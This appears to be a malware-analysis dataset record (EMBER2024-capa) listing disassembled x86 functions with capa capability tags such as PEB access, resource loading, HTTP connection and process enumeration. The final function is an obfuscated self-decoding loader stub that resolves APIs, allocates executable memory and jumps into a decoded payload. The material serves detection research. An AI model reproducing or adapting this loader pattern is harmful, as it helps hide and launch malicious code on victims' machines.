joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405050
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x432950
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x43fcd4]
xor eax, esp
mov dword [esp + 0x6c], eax
push esi
push edi
mov eax, dword [0x43fcd4]
xor eax, esp
push eax
lea eax, [esp + 0x80]
mov dword fs:[0], eax
mov esi, ecx
call fcn.0040bfc7
mov eax, dword [esi + 0x90]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
push eax
mov eax, dword [esi + 0x20]
push 1
push 0x80
push eax
call edi
mov eax, dword [esi + 0x90]
mov ecx, dword [esi + 0x20]
push eax
push 0
push 0x80
push ecx
call edi
push 0x437e50
mov ecx, esi
call fcn.00413f34
mov edi, vtable.CFont.0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], edi
push 0x11
mov dword [esp + 0x8c], 0
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
lea ecx, [esp + 0x14]
call fcn.00415df1
push 0x3c
lea edx, [esp + 0x40]
push 0
push edx
call fcn.0041d6e0
mov ecx, dword [esp + 0x20]
add esp, 0xc
lea eax, [esp + 0x3c]
push eax
push 0x3c
push ecx
call dword [sym.imp.GDI32.dll_GetObjectA]
push esi
lea ecx, [esp + 0x2c]
call fcn.00415c46
mov byte [esp + 0x88], 1
mov ecx, dword [esp + 0x2c]
mov edx, dword [0x437e64]
mov al, byte [0x437e68]
push 0x5a
push ecx
mov dword [esp + 0x60], edx
mov byte [esp + 0x64], al
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ecx, eax
neg ecx
add ecx, ecx
add ecx, ecx
sub ecx, eax
add ecx, ecx
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
lea ecx, [esp + 0x3c]
add eax, edx
push ecx
mov dword [esp + 0x40], eax
mov dword [esp + 0x50], 0x258
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push eax
lea ecx, [esi + 0x88]
call fcn.00415df1
mov edx, dword [esi + 0x78]
mov eax, dword [esi + 0x74]
push 0x42
push edx
push eax
push 0
mov ecx, dword [esi + 0x20]
push 0
push 0xffffffffffffffff
push ecx
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [esi + 0x20]
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub esp, 0x10
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [esp + 0x30]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x34]
mov dword [eax + 8], ecx
push esi
mov dword [eax + 0xc], edx
call fcn.00405260
mov ecx, dword [esp + 0x18]
mov edx, dword [esi]
mov edx, dword [edx + 0x168]
sub esp, 0x10
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [esp + 0x2c]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x30]
mov dword [eax + 8], ecx
mov ecx, dword [esp + 0x34]
mov dword [eax + 0xc], ecx
mov ecx, esi
call edx
push 0
mov ecx, esi
call fcn.00410a7f
lea ecx, [esp + 0x28]
mov byte [esp + 0x88], 0
call fcn.00415c9a
mov dword [esp + 0x88], 0xffffffff
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], edi
call fcn.00407a10
mov eax, 1
mov ecx, dword [esp + 0x80]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x6c]
xor ecx, esp
call fcn.0041b3ef
mov esp, ebp
pop ebp
ret
Function at 0x405760
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4323a8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x43fcd4]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], 0
mov dword [esp + 8], vtable.CBitmap.0
mov dword [esp + 0x30], 0
call fcn.0040e9b5
mov eax, dword [eax + 0xc]
push 0x81
push eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push eax
lea ecx, [esp + 0xc]
call fcn.00415df1
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4057e6
lea ecx, [esp + 0x10]
push ecx
push 0x18
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov dword [esi + 0x9c], edx
mov dword [esi + 0xa0], eax
lea ecx, [esp + 8]
push ecx
call fcn.004058f0
mov dword [esp + 0x30], 0xffffffff
lea ecx, [esp + 8]
mov dword [esp + 8], vtable.CBitmap.0
call fcn.00407a10
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x2c
ret

Function at 0x405820
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x432380
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x43fcd4]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], vtable.CBitmap.0
lea eax, [esi + 0x9c]
push eax
lea ecx, [esp + 0x14]
push ecx
mov byte [esp + 0x28], 1
mov eax, dword [esp + 0x30]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov edi, esp
push eax
call fcn.00401160
add eax, 0x10
add esp, 4
mov dword [edi], eax
call fcn.00407ef0
add esp, 0xc
lea edx, [esp + 0x10]
push edx
call fcn.004058f0
mov byte [esp + 0x20], 0
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], vtable.CBitmap.0
call fcn.00407a10
mov dword [esp + 0x20], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4058dc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x18
ret 4
Function at 0x408090
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0xffffffffffffffff
push 0x432058
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x43fcd4]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov dword [esp + 0x1c], 0
call fcn.0040e9b5
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x28]
movzx ecx, word [esp + 0x24]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x408119
mov dword [esp + 0x1c], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x408104
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor al, al
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x40814f
mov dword [esp + 0x1c], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x4080f8
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
push esi
push eax
call fcn.00421350
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push 0
push edi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov ebx, dword [esp + 0x10]
push 0x10
call sub.gdiplus.dll_GdipAlloc
mov esi, eax
test esi, esi
je 0x4081a6
lea eax, [esi + 4]
push eax
push ebx
mov dword [esi], vtable.Gdiplus::Image.0
mov dword [eax], 0
call sub.gdiplus.dll_GdipLoadImageFromStream
mov dword [esi + 8], eax
jmp 0x4081a8
xor esi, esi
mov edx, dword [esp + 0x2c]
push edi
mov dword [edx], esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov dword [esp + 0x1c], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4081e9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov al, 1
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret
Function at 0x409420
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4326b8
mov eax, dword fs:[0]
push eax
push edi
mov eax, dword [0x43fcd4]
xor eax, esp
push eax
lea eax, [esp + 8]
mov dword fs:[0], eax
mov eax, dword [esp + 0x30]
push 1
push eax
push ecx
mov dword [esp + 0x1c], 0
mov eax, dword [esp + 0x38]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x40], esp
mov edi, esp
push eax
call fcn.00401160
sub esp, 0xc
add eax, 0x10
mov dword [edi], eax
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x40]
mov eax, esp
mov dword [eax], edx
mov edx, dword [esp + 0x44]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x48]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x38]
push 0x2711
push edx
push esi
mov dword [eax + 0xc], ecx
call fcn.00407c50
mov dword [esi], vtable.CImageButton.0
call fcn.0040a8bb
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4094ba
push 0x80004005
call fcn.00401640
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esi + 0x38], eax
mov dword [esp + 0x10], 0xffffffff
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
mov dword [esi + 0x48], 0
mov dword [esi + 0x3c], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4094ff
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
pop ecx
pop edi
add esp, 0xc
ret 0x1c

Function at 0x413dde
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x413e25
call fcn.0040e9b5
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x413e25
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x413e41
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00413958
mov esi, eax
test edi, edi
je 0x413e3f
test ebx, ebx
je 0x413e3f
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x414a30
Capabilities:
Create http request

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
mov dword [esi], vtable.CInternetSession.0
test eax, eax
jne 0x414a5b
call fcn.0040e9b5
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi + 8], eax
test eax, eax
jne 0x414a7e
push eax
push dword [esi + 4]
call fcn.004149b6
push esi
push eax
mov ecx, 0x442ed4
call fcn.00414644
mov eax, esi
pop esi
pop ebp
ret 0x18
Function at 0x4152f2
Capabilities:
Connect to http server

Disassembly:
push 4
mov eax, 0x431b5c
call fcn.0041cc11
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [ebp + 0x20]
mov edi, dword [ebp + 8]
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push edi
call fcn.004152b2
and dword [ebp - 4], 0
lea ecx, [esi + 0x18]
mov dword [esi], vtable.CHttpConnection.0
call fcn.00403be0
push dword [esi + 8]
mov edi, dword [edi + 8]
push dword [ebp + 0x10]
mov byte [ebp - 4], 1
push 3
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [esi + 4], eax
test eax, eax
jne 0x415359
push eax
push dword [esi + 8]
call fcn.004149b6
push dword [esi + 0xc]
mov ecx, 0x442ed4
push eax
call fcn.00414644
mov eax, esi
call fcn.0041cce9
ret 0x1c

Function at 0x41b3ef
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43fcd4]
jne 0x41b3f9
repz ret
jmp fcn.0042111f

Function at 0x42ccf0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00421a97
and dword [ebp - 4], 0
cmp dword [0x443d98], 0
mov ebx, eax
jne 0x42cda1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x42ce52
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4373f4
push edi
call esi
test eax, eax
je 0x42ce52
push eax
call fcn.00421a25
mov dword [esp], 0x4373e4
push edi
mov dword [0x443d98], eax
call esi
push eax
call fcn.00421a25
mov dword [esp], 0x4373d0
push edi
mov dword [0x443d9c], eax
call esi
push eax
call fcn.00421a25
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x443da0], eax
call esi
push eax
call fcn.00421a25
pop ecx
mov dword [0x443da8], eax
test eax, eax
je 0x42cda1
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00421a25
pop ecx
mov dword [0x443da4], eax
mov eax, dword [0x443da4]
cmp eax, ebx
je 0x42cdf9
cmp dword [0x443da8], ebx
je 0x42cdf9
push eax
call fcn.00421aa0
push dword [0x443da8]
mov esi, eax
call fcn.00421aa0
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42cdf9
test edi, edi
je 0x42cdf9
call esi
test eax, eax
je 0x42cdf0
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42cdf0
test byte [ebp - 0xc], 1
jne 0x42cdf9
or dword [ebp + 0x10], 0x200000
jmp 0x42ce32
mov eax, dword [0x443d9c]
cmp eax, ebx
je 0x42ce32
push eax
call fcn.00421aa0
pop ecx
test eax, eax
je 0x42ce32
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x42ce32
mov eax, dword [0x443da0]
cmp eax, ebx
je 0x42ce32
push eax
call fcn.00421aa0
pop ecx
test eax, eax
je 0x42ce32
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x443d98]
call fcn.00421aa0
pop ecx
test eax, eax
je 0x42ce52
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x42ce54
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x3080194f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x308249ec]
jne 0x30801959
repz ret
jmp fcn.3081a014

Function at 0x30807ed2
Capabilities:
Get file attributes

Disassembly:
push 0x58
mov eax, 0x3081ac18
call fcn.3081997e
mov eax, dword [ebp + 8]
xor esi, esi
xor ecx, ecx
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], esi
mov word [ebp - 0x2c], cx
lea ecx, [ebp - 0x2c]
push ecx
push eax
mov dword [ebp - 4], esi
xor ebx, ebx
call fcn.30807c9a
pop ecx
pop ecx
test eax, eax
je 0x30807f69
push str.__
lea ecx, [ebp - 0x64]
call fcn.3080c41d
lea ecx, [ebp - 0x2c]
push ecx
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 1
call fcn.3080c41d
add esp, 0xc
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.3080c41d
push esi
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 1
call fcn.3080c41d
push esi
push 1
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], bl
call fcn.3080c41d
cmp dword [ebp - 0x18], 8
mov eax, dword [ebp - 0x2c]
jae 0x30807f60
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, eax
or dword [ebp - 4], 0xffffffff
push esi
push 1
lea ecx, [ebp - 0x2c]
and bl, 1
call fcn.3080c41d
mov al, bl
call fcn.308199b4
ret
Function at 0x30807f83
Capabilities:
Create directory

Disassembly:
push 0x88
mov eax, 0x3081ac6d
call fcn.3081997e
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp + 0x10]
push str.__
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x8c], eax
call fcn.3080c41d
push esi
push eax
lea eax, [ebp - 0x2c]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call fcn.3080c41d
add esp, 0xc
push ebx
push 1
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 2
call fcn.3080c41d
cmp dword [ebp - 0x18], 8
mov eax, dword [ebp - 0x2c]
jae 0x30807fe2
lea eax, [ebp - 0x2c]
mov ecx, dword [ebp - 0x1c]
push 0x5c
pop esi
cmp word [eax + ecx*2 - 2], si
je 0x30807ffa
push esi
push 1
lea ecx, [ebp - 0x2c]
call fcn.3080c41d
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x94], esi
or edi, 0xffffffff
mov ecx, dword [ebp - 0x90]
push 1
push dword [ebp - 0x88]
lea eax, [ebp - 0x94]
push eax
call fcn.3080c41d
mov ecx, dword [ebp - 0x90]
mov esi, eax
cmp esi, edi
je 0x30808078
sub eax, dword [ebp - 0x88]
push eax
push dword [ebp - 0x88]
lea eax, [ebp - 0x48]
push eax
call fcn.3080c41d
push edi
push ebx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 3
call fcn.3080c41d
push ebx
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
call fcn.3080c41d
push 0x5c
push 1
lea ecx, [ebp - 0x2c]
call fcn.3080c41d
inc esi
mov dword [ebp - 0x88], esi
jmp 0x308080ac
push edi
push dword [ebp - 0x88]
lea eax, [ebp - 0x48]
push eax
call fcn.3080c41d
push edi
push ebx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 4
call fcn.3080c41d
push ebx
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
call fcn.3080c41d
mov dword [ebp - 0x88], edi
cmp dword [ebp - 0x18], 8
mov eax, dword [ebp - 0x2c]
jae 0x308080b8
lea eax, [ebp - 0x2c]
push ebx
push eax
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
test eax, eax
setne byte [ebp - 0x81]
cmp byte [ebp - 0x81], bl
je 0x308080f5
push edi
push 4
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2c]
call fcn.3080c41d
mov ecx, dword [ebp - 0x8c]
push eax
mov byte [ebp - 4], 5
call fcn.3080c41d
lea ecx, [ebp - 0x48]
jmp 0x30808153
mov eax, dword [ebp - 0x8c]
cmp dword [eax + 0x14], 8
mov dword [eax + 0x10], ebx
jb 0x30808106
mov eax, dword [eax]
xor ecx, ecx
mov word [eax], cx
cmp dword [ebp - 0x88], edi
jne 0x30808009
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
sete byte [ebp - 0x81]
cmp byte [ebp - 0x81], bl
je 0x3080816b
push edi
push 4
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x2c]
call fcn.3080c41d
mov ecx, dword [ebp - 0x8c]
push eax
mov byte [ebp - 4], 6
call fcn.3080c41d
lea ecx, [ebp - 0x64]
push ebx
push 1
mov byte [ebp - 4], 2
call fcn.3080c41d
cmp dword [ebp - 0x88], edi
jne 0x30808009
push ebx
push 1
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], edi
call fcn.3080c41d
mov al, byte [ebp - 0x81]
call fcn.308199b4
ret
Function at 0x30808ae4
Capabilities:
Enumerate process modules

Disassembly:
push 0x20
mov eax, 0x3081ae31
call fcn.30801ee1
push dword [ebp + 8]
xor edi, edi
push edi
push 0x410
mov dword [ebp - 0x14], edi
call dword [sym.imp.kernel32.dll_OpenProcess]
mov ebx, eax
cmp ebx, edi
je 0x30808b87
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push ebx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x18], edi
call sub.psapi.dll_EnumProcessModules
test eax, eax
je 0x30808b87
push 0x20
pop esi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
push edi
push esi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], edi
call fcn.3080c41d
push esi
push dword [ebp - 0x2c]
push dword [ebp - 0x10]
push ebx
call sub.psapi.dll_GetModuleBaseNameA
cmp eax, esi
jb 0x30808b62
push edi
add esi, esi
push esi
lea ecx, [ebp - 0x2c]
call fcn.3080c41d
cmp esi, 0x208
jbe 0x30808b3d
push dword [ebp - 0x2c]
push dword [ebp + 0xc]
call dword [sym.imp.MSVCR100.dll__mbsstr]
pop ecx
pop ecx
test eax, eax
je 0x30808b7b
mov dword [ebp - 0x14], 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.30806a0c
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
call fcn.30801fc6
ret

Function at 0x30808c2f
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x138
mov eax, 0x3081ae8b
call fcn.3081997e
mov ebx, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x138], edi
cmp ebx, edi
je 0x30808d1c
lea eax, [ebp - 0x134]
push eax
call fcn.30808b97
pop ecx
cmp dword [ebp - 0x120], 0x10
mov eax, dword [ebp - 0x134]
mov dword [ebp - 4], edi
jae 0x30808c76
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x13c]
push ecx
push 1
push edi
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, edi
jne 0x30808d0a
mov esi, 0x105
push esi
lea eax, [ebp - 0x118]
push edi
push eax
mov dword [ebp - 0x140], 0x104
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x144]
push eax
push edi
push ebx
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, edi
jne 0x30808cfe
mov eax, dword [0x30825cd8]
push esi
call dword [eax + 4]
pop ecx
mov dword [ebp - 0x138], eax
cmp eax, edi
je 0x30808cfe
push esi
lea ecx, [ebp - 0x118]
push ecx
push esi
push eax
call dword [sym.imp.MSVCR100.dll_strncpy_s]
add esp, 0x10
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
push edi
push 1
lea ecx, [ebp - 0x134]
call fcn.3080c41d
mov eax, dword [ebp - 0x138]
call fcn.308199b4
ret
Function at 0x30809222
Capabilities:
Enumerate process modules

Disassembly:
push 0x24
mov eax, 0x3081af3b
call fcn.30801ee1
xor ebx, ebx
push 8
pop esi
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
push ebx
push esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], ebx
call fcn.3080c41d
push 0x20
pop edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 1
mov byte [ebp - 0xd], 1
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp - 0x30]
call sub.psapi.dll_EnumProcesses
test eax, eax
je 0x3080928c
mov eax, dword [ebp - 0x18]
cmp eax, edi
jb 0x30809285
push ebx
add esi, esi
push esi
lea ecx, [ebp - 0x30]
call fcn.3080c41d
mov edi, esi
shl edi, 2
jmp 0x30809294
shr eax, 2
mov esi, eax
jmp 0x30809291
xor esi, esi
mov dword [ebp - 0x14], ebx
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
jne 0x3080925a
cmp dword [ebp - 0x14], ebx
je 0x308092c8
mov edi, dword [ebp + 8]
mov eax, dword [edi + 4]
mov ecx, dword [edi]
push eax
push ecx
lea eax, [ebp - 0x1c]
push eax
mov ecx, edi
call fcn.3080c41d
cmp esi, ebx
jbe 0x308092c8
mov ebx, dword [ebp - 0x30]
push ebx
mov ecx, edi
call fcn.3080c41d
add ebx, 4
dec esi
jne 0x308092ba
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.30806a0c
mov eax, dword [ebp - 0x14]
call fcn.30801fc6
ret

Function at 0x3080c41d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x3080c42c
pop dword [ebp - 0x44]
mov eax, 0xedaf82cd
sub eax, 0xbd2ebea1
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x26913c4
sub dword [ebp - 0x54], 0xb416ce79
mov dword [ebp - 0x50], 0x926495d1
sub dword [ebp - 0x50], 0x6031498c
mov dword [ebp - 0x4c], 0xebf2552c
add dword [ebp - 0x4c], 0x6059ef02
mov dword [ebp - 0x48], 0x16bd999
add dword [ebp - 0x48], 0xfe942667
lea eax, [ebp - 0x54]
push eax
mov eax, 0xe00bff31
add eax, 0x5075d123
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x5b917d42
sub dword [ebp - 0x54], 0xe71f13ec
mov dword [ebp - 0x50], 0xdf7cdedf
add dword [ebp - 0x50], 0x61ef8296
mov dword [ebp - 0x4c], 0x4e436a42
sub dword [ebp - 0x4c], 0xead3fdd6
mov dword [ebp - 0x48], 0xb1112e77
sub dword [ebp - 0x48], 0xb1112e77
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3e0a8
push 0
call eax
mov ecx, 0x4bea
mov ebx, eax
mov edx, 0x3082f200
add edx, dword [ebp - 0x44]
mov edi, 0xda0c9b1a
sub dword [ebp - 0x18], 0xe996c9a6
mov esi, dword [edx]
xor dword [ebp - 0x10], eax
add esi, edi
xor dword [ebp - 8], edx
mov dword [ebx], esi
xor dword [ebp - 0x2c], edx
add ebx, 0x4f2d5268
add ebx, 0xb0d2ad9c
add edx, 4
loop 0x3080c537
add eax, 0x6b827dd4
sub eax, 0x6b815b59
xor ebx, ebx
add ebx, eax
add eax, 0x14f4c58c
sub eax, 0x14f4c587
mov ecx, 0x30800000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret